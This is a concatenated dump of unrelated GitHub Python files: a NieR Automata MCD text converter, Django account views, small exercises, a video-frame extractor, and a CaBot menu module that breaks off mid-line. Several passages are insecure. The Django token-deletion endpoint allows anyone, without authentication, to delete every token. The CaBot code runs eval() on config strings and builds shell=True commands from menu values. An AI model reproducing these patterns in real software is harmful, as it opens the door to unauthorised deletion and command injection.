","repo_name":"Repidex/GUI-Applications","sub_path":"Tic-tac-toe/tic-tack-toe.py","file_name":"tic-tack-toe.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"2199589766","text":"import copy\nimport os, sys\nimport json\nimport ioUtils\nimport zlib\n\ndef hash_event_name(name):\n return zlib.crc32(name.lower().encode(\"utf-8\")) & ~0x80000000 # HAH gotem platinum\n\n# https://github.com/synspawacza/nier_automata_localization\ndef calc_eager_padding(offset, mod): \n return mod - (offset % mod)\n\ndef write_eager_padding(offset, mod):\n return b\"\\0\" * calc_eager_padding(offset, mod)\n\nclass Header:\n struct_size = 40\n\n def from_mcd(self, file):\n self.messages_offset = ioUtils.read_int32(file)\n self.messages_count = ioUtils.read_int32(file)\n self.symbols_offset = ioUtils.read_int32(file)\n self.symbols_count = ioUtils.read_int32(file)\n self.glyphs_offset = ioUtils.read_int32(file)\n self.glyphs_count = ioUtils.read_int32(file)\n self.fonts_offset = ioUtils.read_int32(file)\n self.fonts_count = ioUtils.read_int32(file)\n self.events_offset = ioUtils.read_int32(file)\n self.events_count = ioUtils.read_int32(file)\n\n return self\n\n def write_file(self, file):\n ioUtils.write_Int32(file, self.messages_offset)\n ioUtils.write_Int32(file, self.messages_count)\n ioUtils.write_Int32(file, self.symbols_offset)\n ioUtils.write_Int32(file, self.symbols_count)\n ioUtils.write_Int32(file, self.glyphs_offset)\n ioUtils.write_Int32(file, self.glyphs_count)\n ioUtils.write_Int32(file, self.fonts_offset)\n ioUtils.write_Int32(file, self.fonts_count)\n ioUtils.write_Int32(file, self.events_offset)\n ioUtils.write_Int32(file, self.events_count)\n\nclass Line:\n struct_size = 24\n\n def from_mcd(self, file):\n content_offset = ioUtils.read_int32(file)\n self.padding = ioUtils.read_int32(file)\n content_length = ioUtils.read_int32(file)\n ioUtils.read_int32(file)\n self.below = ioUtils.read_float(file)\n self.horiz = ioUtils.read_float(file)\n\n last_pos = file.tell()\n self.content = []\n file.seek(content_offset)\n for i in range(content_length):\n val = ioUtils.read_int16(file)\n if val < -32000:\n val = val & 0xFFFF\n self.content.append(val)\n file.seek(last_pos)\n\n return self\n\n def to_string(self, symbols_glyph_Dict, font): # I stole this :) https://github.com/synspawacza/nier_automata_localization\n result = \"\"\n idx = 0\n while idx < len(self.content) - 1:\n char_id = self.content[idx]\n if char_id < 0x8000:\n result += symbols_glyph_Dict[char_id].char\n if symbols_glyph_Dict[char_id].font_id != font.id:\n raise Exception(\"Font mismatch\")\n idx += 2 # skip kerning\n elif char_id == 0x8001:\n result += \" \"\n #result += f\"[SET_FONT:{self.content[idx+1]}]\"\n idx += 2 # skip font id\n elif char_id == 0x8000:\n # text end\n idx += 1\n elif char_id == 0x8020:\n result += \"\"\n idx += 2\n else:\n # using '<' and '>' for tagging - hopefully it doesn't break anything\n result += \"\"\n idx += 2 # skip kerning\n return result\n\n def from_string(self, string, symbols, font, kernings):\n self.content = []\n self.padding = 0\n self.below = 0\n self.horiz = 0\n for i, char in enumerate(string):\n if (char == \" \"):\n self.content.append(0x8001)\n self.content.append(font.id)\n else:\n for symbol in symbols:\n if symbol.font_id != font.id:\n continue\n glyph_found = False\n if symbol.char == char:\n val = symbol.glyph_id\n glyph_found = True\n break\n self.below = font.below\n\n if not glyph_found:\n raise Exception(\"Glyph not found in font \" + str(font.id) + \": \" + char)\n self.content.append(val)\n\n # Get next char\n if i + 1 < len(string):\n next_char = string[i + 1]\n combined = char + next_char\n if combined in kernings[font.id]:\n self.content.append(round(kernings[font.id][combined][\"kerning_num\"]))\n else:\n self.content.append(0)\n else:\n self.content.append(0)\n\n self.content.append(0x8000)\n return self\n\nclass Text:\n struct_size = 20\n\n def from_mcd(self, file):\n lines_offset = ioUtils.read_int32(file)\n lines_count = ioUtils.read_int32(file)\n self.vpos = ioUtils.read_int32(file)\n self.hpos = ioUtils.read_int32(file)\n self.font = ioUtils.read_int32(file)\n\n last_pos = file.tell()\n self.lines = []\n file.seek(lines_offset)\n for i in range(lines_count):\n self.lines.append(Line().from_mcd(file))\n file.seek(last_pos)\n\n return self\n\n def from_json(self, json, symbols, fonts_dict, kernings):\n self.lines = []\n self.vpos = json[\"vpos\"]\n self.hpos = json[\"hpos\"]\n self.font = json[\"font\"]\n split_lines = json[\"line\"].split(\"\\n\")\n for line in split_lines:\n self.lines.append(Line().from_string(line, symbols, fonts_dict[self.font], kernings))\n\n return self\n\n def to_string(self, symbols_char_Dict, fonts_dict):\n return \"\\n\".join([line.to_string(symbols_char_Dict, fonts_dict[self.font]) for line in self.lines])\n\nclass Message:\n struct_size = 16\n\n def from_mcd(self, file):\n texts_offset = ioUtils.read_int32(file)\n texts_count = ioUtils.read_int32(file)\n self.seq_number = ioUtils.read_int32(file)\n self.event_id = ioUtils.read_int32(file)\n\n return_pos = file.tell()\n self.texts = []\n file.seek(texts_offset)\n for i in range(texts_count):\n self.texts.append(Text().from_mcd(file))\n file.seek(return_pos)\n\n return self\n\n def from_json(self, json, seq_number, symbols, fonts_dict, kernings):\n self.seq_number = seq_number\n self.event_name = json[\"event_name\"]\n self.event_id = hash_event_name(self.event_name)\n self.texts = []\n for text in json[\"texts\"]:\n self.texts.append(Text().from_json(text, symbols, fonts_dict, kernings))\n\n return self\n\nclass Symbol:\n struct_size = 8\n\n def from_mcd(self, file):\n self.font_id = ioUtils.read_int16(file)\n self.char = file.read(2).decode(\"utf-16-le\")\n self.glyph_id = ioUtils.read_int32(file)\n\n return self\n\nclass Event:\n struct_size = 40\n\n def from_mcd(self, file):\n self.id = ioUtils.read_int32(file)\n self.idx = ioUtils.read_int32(file)\n self.name = file.read(32).decode(\"utf-8\").rstrip(\"\\0\")\n\n return self\n\n def from_message(self, name, message_idx):\n self.id = hash_event_name(name)\n self.idx = message_idx\n self.name = name\n\n return self\n\nclass Font:\n struct_size = 20\n\n def from_mcd(self, file):\n self.id = ioUtils.read_int32(file)\n self.width = ioUtils.read_float(file)\n self.height = ioUtils.read_float(file)\n self.below = ioUtils.read_float(file)\n self.horiz = ioUtils.read_float(file)\n\n return self\n\nclass MCD:\n def from_mcd(self, file):\n self.header = Header().from_mcd(file)\n\n file.seek(self.header.messages_offset)\n self.messages = []\n for i in range(self.header.messages_count):\n self.messages.append(Message().from_mcd(file))\n\n file.seek(self.header.symbols_offset)\n self.symbols = []\n for i in range(self.header.symbols_count):\n self.symbols.append(Symbol().from_mcd(file))\n\n # Imma just skip over glyphs for now\n file.seek(self.header.glyphs_offset)\n self.glyphs = file.read(self.header.glyphs_count * 40)\n\n file.seek(self.header.fonts_offset)\n self.fonts = []\n for i in range(self.header.fonts_count):\n self.fonts.append(Font().from_mcd(file))\n\n file.seek(self.header.events_offset)\n self.events = []\n for i in range(self.header.events_count):\n self.events.append(Event().from_mcd(file))\n\n self.generate_events_Dict()\n self.generate_fonts_Dict()\n self.generate_symbols_char_Dict()\n self.generate_symbols_glyph_Dict()\n\n self.kernings = {}\n self.generate_kernings()\n\n return self\n\n def generate_events_Dict(self):\n self.events_Dict = {}\n for event in self.events:\n self.events_Dict[event.id] = event\n\n def generate_symbols_char_Dict(self):\n self.symbols_char_Dict = {}\n for symbol in self.symbols:\n self.symbols_char_Dict[symbol.char] = symbol\n\n def generate_symbols_glyph_Dict(self):\n self.symbols_glyph_Dict = {}\n for symbol in self.symbols:\n self.symbols_glyph_Dict[symbol.glyph_id] = symbol\n\n def generate_fonts_Dict(self):\n self.fonts_Dict = {}\n for font in self.fonts:\n self.fonts_Dict[font.id] = font\n\n # This function is gonked, should probably not use for now\n def generate_kernings(self):\n for font in self.fonts:\n self.kernings[font.id] = {}\n\n for message in self.messages:\n for text in message.texts:\n font = self.fonts_Dict[text.font]\n for line in text.lines:\n idx = 0\n while idx < len(line.content):\n val = line.content[idx]\n if val < 0x8000:\n char = self.symbols_glyph_Dict[val].char\n kerning = line.content[idx+1]\n if kerning != 0:\n next_val = line.content[idx+2]\n if next_val < 0x8000:\n next_char = self.symbols_glyph_Dict[next_val].char\n if char + next_char in self.kernings[font.id]:\n self.kernings[font.id][char + next_char][\"kerning_num\"] += kerning\n self.kernings[font.id][char + next_char][\"count\"] += 1\n else:\n self.kernings[font.id][char + next_char] = {\n \"kerning_num\": kerning,\n \"count\": 1\n }\n idx += 2\n elif val == 0x8001:\n idx += 2\n elif val == 0x8000:\n idx += 2\n\n for font in self.kernings.keys():\n for kerning in self.kernings[font].keys():\n self.kernings[font][kerning][\"kerning_num\"] /= self.kernings[font][kerning][\"count\"]\n\n #with open(\"kernings.json\", \"w\") as file:\n # json.dump(self.kernings, file, indent=4)\n\n def update_from_json(self, json):\n # Events\n self.events = []\n for i, message in enumerate(json[\"messages\"]):\n self.events.append(Event().from_message(message[\"event_name\"], i))\n self.events.sort(key=lambda x: x.id)\n self.generate_events_Dict()\n\n # Messages\n self.messages = []\n seq_number = json[\"starting_seq_number\"]\n for message in json[\"messages\"]:\n self.messages.append(Message().from_json(message, seq_number, self.symbols, self.fonts_Dict, self.kernings))\n seq_number += 1\n\n # Header\n self.header.messages_count = len(self.messages)\n self.header.events_count = len(self.events)\n\n def to_json(self):\n json_data = {}\n json_data[\"starting_seq_number\"] = self.messages[0].seq_number\n json_data[\"messages\"] = []\n\n for msg in self.messages:\n json_data[\"messages\"].append({\n \"event_name\": self.events_Dict[msg.event_id].name,\n \"texts\": []\n })\n for text in msg.texts:\n json_data[\"messages\"][-1][\"texts\"].append({\n \"vpos\": text.vpos,\n \"hpos\": text.hpos,\n \"font\": text.font,\n \"line\": text.to_string(self.symbols_glyph_Dict, self.fonts_Dict)\n })\n\n json_data[\"fonts\"] = []\n for font in self.fonts:\n json_data[\"fonts\"].append({\n \"id\": font.id,\n \"symbols\": []\n })\n for symbol in self.symbols:\n if symbol.font_id == font.id:\n json_data[\"fonts\"][-1][\"symbols\"].append({\n \"char\": symbol.char,\n \"glyph_id\": symbol.glyph_id\n })\n return json_data\n\n def write_file(self, file): # https://github.com/synspawacza/nier_automata_localization\n current_offset = Header.struct_size\n\n strings = []\n strings_offsets = []\n\n texts = []\n texts_offsets = []\n\n lines = []\n lines_offsets = []\n\n for message in self.messages:\n for text in message.texts:\n texts.append(text)\n for line in text.lines:\n strings.append(line.content)\n strings_offsets.append(current_offset)\n current_offset += len(line.content) * 2\n lines.append(line)\n current_offset += calc_eager_padding(current_offset, 4)\n\n # Update header offsets\n self.header.messages_offset = current_offset\n current_offset += self.header.messages_count * Message.struct_size\n current_offset += calc_eager_padding(current_offset, 4)\n\n for i in range(len(texts)):\n texts_offsets.append(current_offset + i * Text.struct_size)\n current_offset += len(texts) * Text.struct_size\n current_offset += calc_eager_padding(current_offset, 4)\n\n for i in range(len(lines)):\n lines_offsets.append(current_offset + i * Line.struct_size)\n current_offset += len(lines) * Line.struct_size\n current_offset += calc_eager_padding(current_offset, 4)\n\n self.header.symbols_offset = current_offset\n self.header.symbols_count = len(self.symbols)\n current_offset += self.header.symbols_count * Symbol.struct_size + 4\n\n self.header.glyphs_offset = current_offset\n current_offset += self.header.glyphs_count * 40 + 4\n\n self.header.fonts_offset = current_offset\n self.header.fonts_count = len(self.fonts)\n current_offset += self.header.fonts_count * Font.struct_size + 4\n\n self.header.events_offset = current_offset\n\n # Write header\n self.header.write_file(file)\n \n # Write strings\n for string in strings:\n for v in string:\n val = v\n if val < 0:\n ioUtils.write_Int16(file, val)\n else:\n ioUtils.write_uInt16(file, val)\n file.write(write_eager_padding(file.tell(), 4))\n\n # Write messages\n texts_offset_idx = 0\n for message in self.messages:\n texts_offset = texts_offsets[texts_offset_idx]\n texts_offset_idx += len(message.texts)\n ioUtils.write_uInt32(file, texts_offset)\n ioUtils.write_uInt32(file, len(message.texts))\n ioUtils.write_uInt32(file, message.seq_number)\n ioUtils.write_uInt32(file, message.event_id)\n file.write(write_eager_padding(file.tell(), 4))\n\n # Write texts\n lines_offset_idx = 0\n for text in texts:\n lines_offset = lines_offsets[lines_offset_idx]\n lines_offset_idx += len(text.lines)\n ioUtils.write_uInt32(file, lines_offset)\n ioUtils.write_uInt32(file, len(text.lines))\n ioUtils.write_uInt32(file, text.vpos)\n ioUtils.write_uInt32(file, text.hpos)\n ioUtils.write_uInt32(file, text.font)\n file.write(write_eager_padding(file.tell(), 4))\n\n # Write lines\n strings_idx = 0\n for line in lines:\n strings_offset = strings_offsets[strings_idx]\n strings_idx += 1\n ioUtils.write_uInt32(file, strings_offset)\n ioUtils.write_uInt32(file, line.padding)\n ioUtils.write_uInt32(file, len(line.content))\n ioUtils.write_uInt32(file, len(line.content))\n ioUtils.write_float(file, line.below)\n ioUtils.write_float(file, line.horiz)\n file.write(write_eager_padding(file.tell(), 4))\n\n # Write symbols\n for symbol in self.symbols:\n ioUtils.write_uInt16(file, symbol.font_id)\n ioUtils.write_utf16(file, symbol.char, 2)\n ioUtils.write_uInt32(file, symbol.glyph_id)\n file.write(write_eager_padding(file.tell(), 4))\n\n # Write glyphs\n file.write(self.glyphs)\n file.write(write_eager_padding(file.tell(), 4))\n\n # Write fonts\n for font in self.fonts:\n ioUtils.write_uInt32(file, font.id)\n ioUtils.write_float(file, font.width)\n ioUtils.write_float(file, font.height)\n ioUtils.write_float(file, font.below)\n ioUtils.write_float(file, font.horiz)\n file.write(write_eager_padding(file.tell(), 4))\n\n # Write events\n for event in self.events:\n ioUtils.write_uInt32(file, event.id)\n ioUtils.write_uInt32(file, event.idx)\n ioUtils.write_utf8(file, event.name, 32)\n\n \ndef mcd_to_json(mcd_file, out_file=None):\n with open(mcd_file, 'rb') as file:\n mcd = MCD().from_mcd(file)\n\n if out_file is None:\n out_file = os.path.splitext(mcd_file)[0] + \".json\"\n\n with open(out_file, \"w\", encoding=\"utf8\") as f:\n json_data = mcd.to_json()\n json_str = json.dumps(json_data, indent=4, ensure_ascii=False)\n f.write(json_str)\n\n print(\"Wrote\", out_file)\n\ndef json_to_mcd(json_file, mcd_file, out_file=None):\n with open(mcd_file, 'rb') as file:\n mcd = MCD().from_mcd(file)\n\n #org_mcd = copy.deepcopy(mcd)\n mcd.update_from_json(json.load(open(json_file, \"r\", encoding=\"utf8\")))\n\n if out_file is None:\n out_file = os.path.splitext(json_file)[0] + \".mcd\"\n\n with open(out_file, \"wb\") as file:\n mcd.write_file(file)\n\n print(\"Wrote\", out_file)\n\ndef print_usage():\n print(\"Usage:\\tmcd.py [output json file]\"\n \"\\n\\tmcd.py [output mcd file]\"\n \"\\nInfo:\\t- If no output file is specified, the input file name will be used with the appropriate extension.\"\n \"\\n\\t- is used as the base for fonts/glyphs used in the new mcd file.\")\n sys.exit(1)\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print_usage()\n\n if sys.argv[1] in [\"-h\", \"--help\"]:\n print_usage()\n\n in_file = sys.argv[1]\n\n in_file = os.path.normpath(in_file)\n in_file_ext = os.path.splitext(in_file)[1]\n\n # MCD to JSON\n if in_file_ext == \".mcd\":\n out_file = None\n if len(sys.argv) > 2:\n out_file = sys.argv[2]\n out_file = os.path.normpath(out_file)\n\n mcd_to_json(in_file, out_file)\n \n # JSON to MCD\n if in_file_ext == \".json\":\n if len(sys.argv) < 3:\n print_usage()\n \n mcd_file = sys.argv[2]\n mcd_file = os.path.normpath(mcd_file)\n\n out_file = None\n if len(sys.argv) > 3:\n out_file = sys.argv[3]\n out_file = os.path.normpath(out_file)\n\n json_to_mcd(in_file, mcd_file, out_file)","repo_name":"WoefulWolf/Automata_MCD_Patcher","sub_path":"mcd.py","file_name":"mcd.py","file_ext":"py","file_size_in_byte":20322,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"5139614352","text":"from django.shortcuts import render\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework.response import Response\nfrom django.contrib.auth.models import User\nfrom account.serializers import AccountSerializer\nfrom rest_framework import status\nfrom rest_framework import exceptions\nfrom django.contrib.auth import hashers\nfrom rest_framework.permissions import IsAuthenticated, AllowAny\nfrom rest_framework.authtoken.models import Token\n\n\n# Create your views here.\nclass Register(GenericAPIView):\n \"\"\"\n 注册用户的视图\n \"\"\"\n queryset = User.objects.all()\n serializer_class = AccountSerializer\n\n def get(self, request):\n data = self.get_queryset()\n return Response(status.HTTP_403_FORBIDDEN) # 返回403禁止访问这个路由\n\n def post(self, request):\n data = request.data\n if isinstance(data, dict): # 一次只能创建一个用户,其他情况直接400\n many = False\n else:\n return Response(status.HTTP_400_BAD_REQUEST)\n serializer = self.get_serializer(data=request.data, many=many)\n serializer.is_valid(raise_exception=True) # 校验是否合法\n serializer.save()\n user = {\n 'username': serializer.data['username'], # 返回用户名\n 'is_active': serializer.data['is_active'] # 返回密码\n }\n return Response(user)\n\n\nclass DeleteUser(GenericAPIView):\n \"\"\"\n 删除用户的视图\n \"\"\"\n queryset = User.objects.all()\n serializer_class = AccountSerializer\n\n @staticmethod\n def is_existence(self, request):\n existence = True # 原始设置为True,不存在用户,密码不对都设置为False\n data = request.data\n username = data['username']\n password = data['password']\n result_factual = User.objects.filter(username=username) # 筛选是否存在该用户\n if len(result_factual) == 1:\n result = self.get_queryset() # 找到表中所有用户\n result = self.get_serializer(result, many=True)\n for i in result.data: # 循环找到前端传来的user信息\n if username == i['username']:\n temp_password = i['password']\n if hashers.check_password(password, temp_password): # 密码存在,校验通过,执行删除\n result_factual.delete() # 将查询到的用户结果删除\n else:\n raise exceptions.ValidationError('密码不正确!')\n existence = False\n break\n else:\n pass\n\n else:\n raise exceptions.ValidationError('不存在该用户!')\n existence = False # 不存在该用户,设置为False\n\n return existence\n\n def delete(self, request):\n if self.is_existence(self, request=request):\n detail = request.data['username'] + '已被删除!'\n return Response(detail)\n\n\nclass DeleteToken(GenericAPIView):\n queryset = Token.objects.all()\n\n permission_classes = [AllowAny]\n\n @staticmethod\n def delete_one_or_delete_all(self, request):\n \"\"\"\n 删除token\n \"\"\"\n token = request.auth\n user = request.user\n if token is not None:\n \"\"\"\n 如果前端传来一个参数token,则删除单个,否则删除所有token\n \"\"\"\n data = Token.objects.filter(key=token)\n if len(data) == 1:\n data.delete()\n return str(token) + '已被删除!'\n else:\n raise exceptions.ValidationError('不存在的token!')\n else:\n Token.objects.all().delete()\n return '所有token已被删除!'\n\n def delete(self, request):\n text = self.delete_one_or_delete_all(self, request)\n if text:\n return Response(text)","repo_name":"kaedePing/lightnovel","sub_path":"LightNovel/account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72390499946","text":"from setuptools import setup, Extension\nfrom Cython.Build import cythonize\n\nextensions = [\n Extension(\"simplehod.simplehod\", [\"simplehod/simplehod.pyx\"])\n]\n\nsetup(\n name=\"simplehod\",\n version=\"0.0.1\",\n author=\"Yu Feng\",\n author_email=\"rainwoodman@gmail.com\",\n url=\"http://github.com/bccp/simplehod\",\n description=\"Simple HOD modelling of galaxy from simulation catalogs\",\n install_requires=['cython', 'numpy'],\n license='BSD-2-Clause',\n zip_safe = False,\n package_dir = {'simplehod': 'simplehod'},\n packages=['simplehod'],\n ext_modules = cythonize(extensions),\n)\n\n","repo_name":"bccp/simplehod","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15345113886","text":"def gen_to_tax(tax_rate):\n def to_tax(price):\n return price * (1 + tax_rate)\n return to_tax\n\nto_tax8 = gen_to_tax(0.08)\nto_tax10 = gen_to_tax(0.1)\n\nprint(to_tax8(1000))\nprint(to_tax8(2000))\nprint(to_tax10(1000))\nprint(to_tax10(2000))\n","repo_name":"kronos-fujimaru/python_intro","sub_path":"text/exercise/answers/06/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26486929863","text":"class Mascota:\n def __init__(self):\n self.codigo = []\n self.nombre = []\n self.edad = []\n self.animal = []\n self.raza = []\n self.vacuna = []\n self.estado = []\n def menu(self):\n opciones = \"\"\"\n *******SISTEMA DE MASCOTAS*******\n 1.- Registrar Mascotas\n 2.- Kardex de Mascotas\n 3.- Vacunar Mascota\n 4.- Salir\n \"\"\"\n print(opciones)\n eleccion = int(input(\"Elija una opcion del menu: \\n\"))\n if(eleccion == 1):\n print(self.agregarMascota())\n self.menu()\n elif (eleccion == 2):\n print(self.kardex())\n print(self.verMenu())\n elif (eleccion ==3):\n print(self.agregarVacuna())\n print(self.verMenu())\n elif(eleccion==4):\n print(\"Transacciones realizadas correctamente\")\n else:\n print(\"***DIGITE UNA OPCION DEL MENU***\")\n self.menu()\n\n def verMenu(self):\n eleccion = input(\"Desea volver al menu: s/n \\n\")\n if (eleccion == 's' or eleccion == 'S'):\n self.menu()\n else:\n return \"Transacciones realizadas correctamente\"\n\n def agregarMascota(self):\n print(\"***AGREGAR MASCOTAS***\")\n code = input(\"Ingrese el codigo para la mascota: \\n\")\n name = input(\"Ingrese el nombre su mascota: \\n\")\n age = int(input(\"Ingrese la edad en meses: \\n\"))\n animal = input(\"Ingrese el tipo de animal de su mascota: \\n\")\n type = input(\"Ingrese la raza: \\n\")\n print(self.guardarMascota(code, name, age, animal, type))\n agregarOtro = input(\"Desea registrar mascota.? s/n \\n\")\n if ( agregarOtro == 's' or agregarOtro == 'S'):\n self.agregarMascota()\n return \"Mascota(s) registrada(s) correctamente.!\"\n\n def guardarMascota(self, codigo, nombre, edad, animal, raza):\n self.codigo.append(codigo)\n self.nombre.append(nombre)\n self.edad.append(edad)\n self.animal.append(animal)\n self.raza.append(raza)\n self.vacuna.append(0)\n self.estado.append(1)\n return \"La mascota {} fue registrada exitosamente.!\".format(nombre)\n def kardex(self):\n if (self.codigo):\n for posicion in range(len(self.nombre)):\n self.descripcion(posicion)\n return \"Kardex cargado correctamente\"\n else:\n return \"Todavia no hay datos registrados\"\n\n\n def descripcion(self, posicion):\n print(\"****MASCOTA {}***\".format(self.codigo[posicion]))\n print(\"Nombre: {} \".format(self.nombre[posicion]))\n print(\"Edad: {} meses\".format(self.edad[posicion]))\n print(\"Tipo Animal: {}\".format(self.animal[posicion]))\n print(\"Raza: {}\".format(self.raza[posicion]))\n if (self.vacuna[posicion] == 1 ):\n print(\"Vacunado: SI\".format(self.vacuna[posicion]))\n else:\n print(\"Vacunado: NO\".format(self.vacuna[posicion]))\n pass\n def buscarMascota(self):\n codigo = input(\"Ingrese el codigo de la mascota: \\n\")\n posicion = self.codigo.index(codigo)\n return posicion\n\n def agregarVacuna(self):\n posicion = self.buscarMascota()\n return self.vacunarMascota(posicion)\n\n def vacunarMascota(self, posicion):\n self.vacuna[posicion] = 1\n return \"La mascota {} fue vacunada exitosamente.!\".format(self.nombre[posicion])\n\nmascotas = Mascota()\nmascotas.menu()\n","repo_name":"amilkarcruz13/class-on-python-programing-III-upc-2020","sub_path":"mascotas.py","file_name":"mascotas.py","file_ext":"py","file_size_in_byte":3486,"program_lang":"python","lang":"es","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"39384035334","text":"from os.path import basename\nfrom os.path import exists\nfrom os.path import isfile\nfrom pathlib import Path\nfrom shutil import rmtree\n\nimport cv2\n\n\ndef video_to_frames(video_filename, output_dir, skip_if_dir_exists=False):\n print(\"Start extracting frames from {} to {}\".format(video_filename, output_dir))\n output_dir_path = Path(output_dir)\n video_basename = basename(video_filename).split('.')[0]\n if skip_if_dir_exists is True and output_dir_path.exists():\n print(\n \"Frame directory '{}' exists. \"\n \"Skipping extracting frames from {}\".format(output_dir, video_filename)\n )\n return\n\n if output_dir_path.exists():\n rmtree(output_dir)\n\n output_dir_path.mkdir(0o777, parents=True, exist_ok=False)\n\n if exists(video_filename) and isfile(video_filename):\n print(\"File {} exists\".format(video_filename))\n else:\n print(\"File {} does not exist!\".format(video_filename))\n\n vidcap = cv2.VideoCapture(str(video_filename))\n print(\"VideoCapture of {} created? {}\".format(video_filename, vidcap.isOpened()))\n\n if not vidcap.isOpened():\n raise IOError\n\n success, image = vidcap.read()\n count = 0\n print(\n \"Extracting frames from video '{}' to folder '{}'...\".format(\n video_filename, output_dir\n )\n )\n while success:\n cv2.imwrite(f\"{output_dir}/{video_basename}_frame-{count:05d}.png\", image)\n success, image = vidcap.read()\n count += 1\n\n print(f\"{count} frames extracted\")","repo_name":"backup-test-123/flytekubecondemo2019","sub_path":"demoproject/utils/video_tools/video_to_frames.py","file_name":"video_to_frames.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"29878414552","text":"import json\nimport subprocess\nimport os\nimport traceback\n\nfrom cabot_ui.cabot_rclpy_util import CaBotRclpyUtil\nimport std_msgs.msg\nfrom rcl_interfaces.msg import Parameter, ParameterType, ParameterValue\nfrom rcl_interfaces.srv import SetParameters, GetParameters\nfrom rclpy.callback_groups import MutuallyExclusiveCallbackGroup\nfrom rclpy.qos import QoSProfile, DurabilityPolicy\nimport rclpy.parameter\n\nimport cabot_common.util\nfrom cabot_ui import i18n\n\nclass Action(object):\n \"\"\"Menu Action abstract class\"\"\"\n def __init__(self, config, menu):\n self._menu = menu\n self._config = config\n\n def do_action(self):\n \"\"\"need to implement do_action in concreate class\"\"\"\n return False\n\nclass Actions(Action):\n \"\"\"Lisf of Actions\"\"\"\n @staticmethod\n def create_actions(config, menu):\n \"\"\"create menu action classes\"\"\"\n actions = Menu.get_menu_config(config, \"actions\")\n\n return Actions(actions, menu)\n\n def __init__(self, config, menu):\n super(Actions, self).__init__(config, menu)\n temp = []\n if config:\n for action in config:\n _type = Menu.get_menu_config(action, \"type\", error=True)\n \n if _type == \"publish_topic\":\n temp.append(PublishTopicAction(action, menu))\n elif _type == \"reconfigure\":\n temp.append(ReconfigureAction(action, menu))\n elif _type == \"syscommand\":\n temp.append(SyscommandAction(action, menu))\n else:\n raise RuntimeError(\"%s action is not defined\" % (_type))\n\n temp.append(MenuSelectAction(None, menu))\n\n self.actions = temp\n\n def do_action(self):\n result = True\n for action in self.actions:\n result = result and action.do_action()\n return result\n\n def __str__(self):\n return str(self.actions)\n\ndef my_import(name):\n components = name.split('.')\n mod = __import__(components[0])\n for comp in components[1:]:\n mod = getattr(mod, comp)\n return mod\n\nclass PublishTopicAction(Action):\n \"\"\"Menu Action for publishing topic\"\"\"\n def __init__(self, config, menu):\n super(PublishTopicAction, self).__init__(config, menu)\n self._topic = Menu.get_menu_config(config, \"topic\", error=True)\n msg_type_str = Menu.get_menu_config(config, \"msg_type\", default=\"std_msgs.msg.String\")\n self._msg_type = my_import(msg_type_str)\n \n if self._topic is not None:\n ### needs to update with custom message typep\n latching_qos = QoSProfile(depth=1,\n durability=DurabilityPolicy.TRANSIENT_LOCAL)\n self._pub = CaBotRclpyUtil.instance().node.create_publisher(self._msg_type, self._topic, qos_profile=latching_qos)\n\n def do_action(self):\n curr = self._menu.value\n if curr is not None:\n if isinstance(curr, Menu):\n curr = curr.value\n if curr is not None:\n msg = self._msg_type()\n msg.data = curr\n self._pub.publish(msg)\n return True\n return False\n\n\nclass ReconfigureAction(Action):\n \"\"\"Menu Action for reconfiguration\"\"\"\n def __init__(self, config, menu):\n super(ReconfigureAction, self).__init__(config, menu)\n self._targets = Menu.get_menu_config(config, \"targets\", error=True)\n self._error_count = 0\n\n _clients = {}\n\n def do_action(self):\n for target in self._targets:\n target_name = target[\"name\"]\n if target_name not in ReconfigureAction._clients:\n try:\n CaBotRclpyUtil.info(\"Trying to connect set_paraeters client\")\n\n ReconfigureAction._clients[target_name] = CaBotRclpyUtil.instance().node.create_client(SetParameters, f\"/{target_name}/set_parameters\")\n ReconfigureAction._clients[target_name].wait_for_service(timeout_sec=3.0)\n except:\n CaBotRclpyUtil.info(\"Timed out connecting set_parameters client\")\n\n #return True\n if target_name in ReconfigureAction._clients:\n client = ReconfigureAction._clients[target_name]\n config = target[\"config\"]\n if client is not None:\n req = SetParameters.Request()\n for key in config:\n val = config[key]\n if isinstance(val, (float,int)):\n value = val * self._menu.value\n elif isinstance(val, str):\n # TODO (security issue)\n value = eval(val)\n\n param = Parameter()\n param.name = key\n param.value = ParameterValue(value)\n req.parameters.append(param)\n\n result = client.call(req)\n CaBotRclpyUtil.info(f\"{result}\")\n return True\n self._error_count += 1\n if self._error_count > 10:\n raise RuntimeError(\"dynamic_reconfigure server is not responded\")\n return False\n\nclass SyscommandAction(Action):\n \"\"\"Menu Action for system command\"\"\"\n def __init__(self, config, menu):\n super(SyscommandAction, self).__init__(config, menu)\n self._command = Menu.get_menu_config(config, \"command\", error=True)\n\n def do_action(self):\n try:\n CaBotRclpyUtil.info(\"do_action for system command\")\n command = self._command % (self._menu.value)\n CaBotRclpyUtil.info(command)\n process = subprocess.Popen(command, preexec_fn=os.setsid, shell=True)\n process.wait(timeout=1)\n except:\n CaBotRclpyUtil.error(traceback.format_exc())\n return False\n return True\n\nclass Event(object):\n def __init__(self, origin, value):\n self.origin = origin\n self.value = value\n\nclass MenuSelectAction(Action):\n \"\"\"Menu Select Action\"\"\"\n def __init__(self, config, menu):\n super(MenuSelectAction, self).__init__(config, menu)\n\n def do_action(self):\n self._menu._menu_selected(self._menu)\n return True\n\nclass Menu(object):\n \"\"\"Menu class\"\"\"\n Undefined = 0\n List = 1\n Action = 2\n Adjust = 3\n\n def _get_path(self, name):\n return \".\".join([\"persistent\", name])\n\n def _get_saved_config(self, name, default=None):\n try:\n self.get_client.wait_for_service(timeout_sec=3.0)\n path = 